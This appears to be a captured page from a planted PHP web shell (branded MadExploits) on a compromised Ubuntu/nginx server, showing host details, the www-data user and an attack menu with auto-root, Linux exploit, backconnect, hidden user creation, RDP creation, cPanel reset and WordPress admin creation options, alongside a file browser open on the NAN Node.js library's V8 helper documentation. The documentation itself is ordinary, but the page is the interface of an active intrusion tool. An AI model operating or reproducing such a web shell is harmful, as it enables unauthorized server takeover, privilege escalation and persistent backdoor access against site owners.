Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amatya /
node_modules /
nan /
doc /
[ HOME SHELL ]
Name
Size
Permission
Action
asyncworker.md
5.22
KB
-rw-r--r--
buffers.md
2.07
KB
-rw-r--r--
callback.md
2.57
KB
-rw-r--r--
converters.md
1.9
KB
-rw-r--r--
errors.md
7.23
KB
-rw-r--r--
json.md
1.9
KB
-rw-r--r--
maybe_types.md
21.88
KB
-rw-r--r--
methods.md
26.61
KB
-rw-r--r--
new.md
4.75
KB
-rw-r--r--
node_misc.md
5.57
KB
-rw-r--r--
object_wrappers.md
8.03
KB
-rw-r--r--
persistent.md
10.63
KB
-rw-r--r--
scopes.md
2.31
KB
-rw-r--r--
script.md
1.26
KB
-rw-r--r--
string_bytes.md
1.86
KB
-rw-r--r--
v8_internals.md
7.21
KB
-rw-r--r--
v8_misc.md
2.85
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : v8_misc.md
## Miscellaneous V8 Helpers - <a href="#api_nan_utf8_string"><b><code>Nan::Utf8String</code></b></a> - <a href="#api_nan_get_current_context"><b><code>Nan::GetCurrentContext()</code></b></a> - <a href="#api_nan_set_isolate_data"><b><code>Nan::SetIsolateData()</code></b></a> - <a href="#api_nan_get_isolate_data"><b><code>Nan::GetIsolateData()</code></b></a> - <a href="#api_nan_typedarray_contents"><b><code>Nan::TypedArrayContents</code></b></a> <a name="api_nan_utf8_string"></a> ### Nan::Utf8String Converts an object to a UTF-8-encoded character array. If conversion to a string fails (e.g. due to an exception in the toString() method of the object) then the length() method returns 0 and the * operator returns NULL. The underlying memory used for this object is managed by the object. An implementation of [`v8::String::Utf8Value`](https://v8docs.nodesource.com/node-8.11/d4/d1b/classv8_1_1_string_1_1_utf8_value.html) that is consistent across all supported versions of V8. Definition: ```c++ class Nan::Utf8String { public: Nan::Utf8String(v8::Local<v8::Value> from); int length() const; char* operator*(); const char* operator*() const; }; ``` <a name="api_nan_get_current_context"></a> ### Nan::GetCurrentContext() A call to [`v8::Isolate::GetCurrent()->GetCurrentContext()`](https://v8docs.nodesource.com/node-8.11/d5/dda/classv8_1_1_isolate.html#a81c7a1ed7001ae2a65e89107f75fd053) that works across all supported versions of V8. Signature: ```c++ v8::Local<v8::Context> Nan::GetCurrentContext() ``` <a name="api_nan_set_isolate_data"></a> ### Nan::SetIsolateData() A helper to provide a consistent API to [`v8::Isolate#SetData()`](https://v8docs.nodesource.com/node-8.11/d5/dda/classv8_1_1_isolate.html#a7acadfe7965997e9c386a05f098fbe36). Signature: ```c++ void Nan::SetIsolateData(v8::Isolate *isolate, T *data) ``` <a name="api_nan_get_isolate_data"></a> ### Nan::GetIsolateData() A helper to provide a consistent API to [`v8::Isolate#GetData()`](https://v8docs.nodesource.com/node-8.11/d5/dda/classv8_1_1_isolate.html#aabd223436bc1100a787dadaa024c6257). Signature: ```c++ T *Nan::GetIsolateData(v8::Isolate *isolate) ``` <a name="api_nan_typedarray_contents"></a> ### Nan::TypedArrayContents<T> A helper class for accessing the contents of an ArrayBufferView (aka a typedarray) from C++. If the input array is not a valid typedarray, then the data pointer of TypedArrayContents will default to `NULL` and the length will be 0. If the data pointer is not compatible with the alignment requirements of type, an assertion error will fail. Note that you must store a reference to the `array` object while you are accessing its contents. Definition: ```c++ template<typename T> class Nan::TypedArrayContents { public: TypedArrayContents(v8::Local<Value> array); size_t length() const; T* const operator*(); const T* const operator*() const; }; ```
Close